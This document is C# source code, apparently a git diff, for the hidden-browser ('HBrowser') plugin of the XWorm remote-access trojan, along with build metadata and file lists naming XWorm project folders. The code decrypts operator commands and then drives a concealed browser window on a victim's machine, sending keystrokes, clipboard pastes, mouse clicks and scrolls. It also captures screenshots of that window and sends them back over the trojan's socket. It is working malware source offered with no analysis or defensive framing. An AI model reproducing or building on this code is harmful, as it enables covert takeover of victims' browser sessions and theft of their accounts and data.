{
try
{
var A = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToString(Settings.SPL));
switch (A[0] ?? "")
{
case "CloseHBrowser":
{
try
{
int x6 = Convert.ToInt32(A[1]);
int y6 = Convert.ToInt32(A[2]);
GetWindowsHidden.ClearList(x6, y6);
}
catch
{
}
ClientSocket.isDisconnected();
break;
}
case "HBrowser+":
{
Bitmap bitmap = null;
Helper.Resize = false;
try
{
if (GetWindowsHidden.WindowCheck(Helper.WindowrActive))
{
bitmap = ScreenshotCapture.CaptureWindow(Helper.WindowrActive);
using (Helper.Appsstream = new MemoryStream())
{
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, Convert.ToInt32(A[1]));
ImageCodecInfo encoderInfo = Helper.GetEncoderInfo("image/jpeg");
EncoderParameters encoderParameters = new EncoderParameters(1);
encoderParameters.Param[0] = encoderParameter;
bitmap.Save(Helper.Appsstream, encoderInfo, encoderParameters);
ClientSocket.Send("HBrowser+" + Settings.SPL + Settings.IDD + Settings.SPL + Convert.ToBase64String(Helper.Compress(Helper.Appsstream.ToArray())));
encoderParameters?.Dispose();
bitmap?.Dispose();
}
}
else
{
ClientSocket.Send("HBrowser+" + Settings.SPL + Settings.IDD + Settings.SPL + "");
}
}
catch
{
}
break;
}
case "UpdateWindowsActive":
{
GetWindowsHidden.GetListWindow();
break;
}
case "OpenBrowser":
{
string asString2 = A[1];
string asString3 = A[2];
string asString4 = A[3];
int width = Convert.ToInt32(A[4]);
int height = Convert.ToInt32(A[5]);
string text = GetWindowsHidden.RetrunBrowser(asString2, asString3, asString4);
if (!string.IsNullOrEmpty(text) && GetWindowsHidden.GetHandleBrowser(text, width, height))
{
GetWindowsHidden.GetListWindow();
Helper.MsgLogs(asString2 + "Browser is prepared to control incognito.");
}
else
{
Helper.MsgLogs("Window is not found - " + asString2);
}
break;
}
case "Close":
{
string asString = A[1];
int num = Convert.ToInt32(A[2]);
int num2 = Convert.ToInt32(A[3]);
int num3 = Convert.ToInt32(A[4]);
if (GetWindowsHidden.InitializingWindow(num, num2, num3))
{
GetWindowsHidden.WindowClose(GetWindowsHidden.ListBrowser[num], num2, num3);
GetWindowsHidden.GetListWindow();
}
else
{
Helper.MsgLogs("Failed to close the window - " + asString);
}
break;
}
case "GetHWND":
{
string asString5 = A[1];
int num4 = Convert.ToInt32(A[2]);
int width2 = Convert.ToInt32(A[3]);
int height2 = Convert.ToInt32(A[4]);
if (GetWindowsHidden.InitializingWindow(num4, width2, height2))
{
Helper.WindowrActive = GetWindowsHidden.ListBrowser[num4];
Helper.MsgLogs(asString5 + " window is ready");
}
else
{
Helper.MsgLogs("Window is not found - " + asString5);
}
break;
}
case "Resize":
{
int x7 = Convert.ToInt32(A[1]);
int y7 = Convert.ToInt32(A[2]);
if (GetWindowsHidden.WindowCheck(Helper.WindowrActive))
{
GetWindowsHidden.ResizeWondow(Helper.WindowrActive, x7, y7);
}
break;
}
case "keyboardClick":
{
HandleMouse.KeyboardDown(A[1]);
break;
}
case "paste":
{
HandleClipboard.Paste(A[1]);
break;
}
case "LeftDown":
{
// A[1] = X
// A[2] = Y
int x5 = Convert.ToInt32(A[1]);
int y5 = Convert.ToInt32(A[2]);
HandleMouse.MouseLeftDown(x5, y5);
break;
}
case "RightDown":
{
int x4 = Convert.ToInt32(A[1]);
int y4 = Convert.ToInt32(A[2]);
HandleMouse.MouseRightDown(x4, y4);
break;
}
case "LeftUp":
{
int x3 = Convert.ToInt32(A[1]);
int y3 = Convert.ToInt32(A[2]);
HandleMouse.MouseLeftUp(x3, y3);
break;
}
case "RightUp":
{
int x2 = Convert.ToInt32(A[1]);
int y2 = Convert.ToInt32(A[2]);
HandleMouse.MouseRghitUp(x2, y2);
break;
}
case "MoveCursor":
{
int x = Convert.ToInt32(A[1]);
int y = Convert.ToInt32(A[2]);
HandleMouse.MouseMove(x, y);
break;
}
case "ScrollDown":
{
Helper.ScrollDown();
break;
}
case "ScrollUp":
{
Helper.ScrollUp();
break;
}
}
}
catch (Exception ex)
{
Helper.MsgLogs("Error! " + ex.Message);
}
}
}
internal static partial class Helper
{
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
public static void ScrollDown()
{
IntPtr hWnd = WindowrActive;
if (hWnd != IntPtr.Zero)
SendMessage(hWnd, 0x115, new IntPtr(1), IntPtr.Zero);
}
public static void ScrollUp()
{
IntPtr hWnd = WindowrActive;
if (hWnd != IntPtr.Zero)
SendMessage(hWnd, 0x115, new IntPtr(0), IntPtr.Zero);
}
public static MemoryStream Appsstream = new MemoryStream();
public static IntPtr WindowrActive { get; set; }
public static int Quality { get; set; }
public static bool Resize { get; set; }
public static bool Speed { get; set; }
public static int X { get; set; }
public static int Y { get; set; }
public static void MsgLogs(string Message)
{
ClientSocket.Send("HBrowserMSG" + Settings.SPL + Settings.IDD + Settings.SPL + Message);
}
public static ImageCodecInfo GetEncoderInfo(string M)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int arg_0B_0 = 0;
int num = imageEncoders.Length;
for (int i = arg_0B_0; i <= num; i++)
{
if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(imageEncoders[i].MimeType, M, false) == 0)
return imageEncoders[i];
}
return null/* TODO Change to default(_) if this is not a reference type */;
}
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
public static byte[] SB(string s)
{
return Encoding.UTF8.GetBytes(s);
}
public static string BS(byte[] b)
{
return Encoding.UTF8.GetString(b);
}
public static byte[] AES_Encryptor(byte[] input)
{
var AES_ = new RijndaelManaged();
var Hash = new MD5CryptoServiceProvider();
try
{
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
AES_.Mode = CipherMode.ECB;
var DESEncrypter = AES_.CreateEncryptor();
var Buffer = input;
return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return default;
}
public static byte[] AES_Decryptor(byte[] input)
{
var AES_ = new RijndaelManaged();
var Hash = new MD5CryptoServiceProvider();
try
{
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
AES_.Mode = CipherMode.ECB;
var DESDecrypter = AES_.CreateDecryptor();
var Buffer = input;
return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return default;
}
}
}
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("HBrowser")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("HBrowser")]
[assembly: AssemblyCopyright("Copyright © 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("3e26f494-89f7-4e79-b16d-c540ea683926")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,46 @@
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Plugin.ScreenshotCapture
using HBrowser;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
internal sealed class ScreenshotCapture
{
private class User32
{
public struct Rect
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll")]
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);
[DllImport("user32.dll")]
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
}
public static Bitmap CaptureWindow(IntPtr handle)
{
User32.Rect rect = default(User32.Rect);
User32.GetWindowRect(handle, ref rect);
int num = rect.right - rect.left;
int num2 = rect.bottom - rect.top;
int x = Helper.X;
int y = Helper.Y;
Bitmap bitmap = ((!Helper.Resize) ? new Bitmap(num + 1, num2 + 1) : new Bitmap(x + 1, y + 1));
using (Graphics graphics = Graphics.FromImage(bitmap))
{
IntPtr hdc = graphics.GetHdc();
User32.PrintWindow(handle, hdc, 2u);
}
return bitmap;
}
}
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
@@ -0,0 +1 @@
caec721fe09aa30ef8615f1fdb3f2ee89ac377dd8218a3efe11d93aad25398fa
@@ -0,0 +1,73 @@
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\source\repos\HBrowser\HBrowser\bin\Debug\HBrowser.dll
C:\Users\XCoder\source\repos\HBrowser\HBrowser\bin\Debug\HBrowser.pdb
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.pdb
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HBrowser.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\HBrowser.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\XWorm\bin\Debug\Plugins\HBrowser.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
C:\Users\byt3d4sh\Desktop\src 2\XWorm\bin\Debug\Plugins\HBrowser.dll
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
@@ -0,0 +1 @@
22cea064a7ad36e930224e18dfebd26dd969ed48589e568ab2238deb5a83efa2
@@ -0,0 +1,6 @@
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\bin\Release\HBrowser.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\bin\Release\HBrowser.pdb
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.csproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.csproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.pdb
Binary file not shown.
Binary file not shown.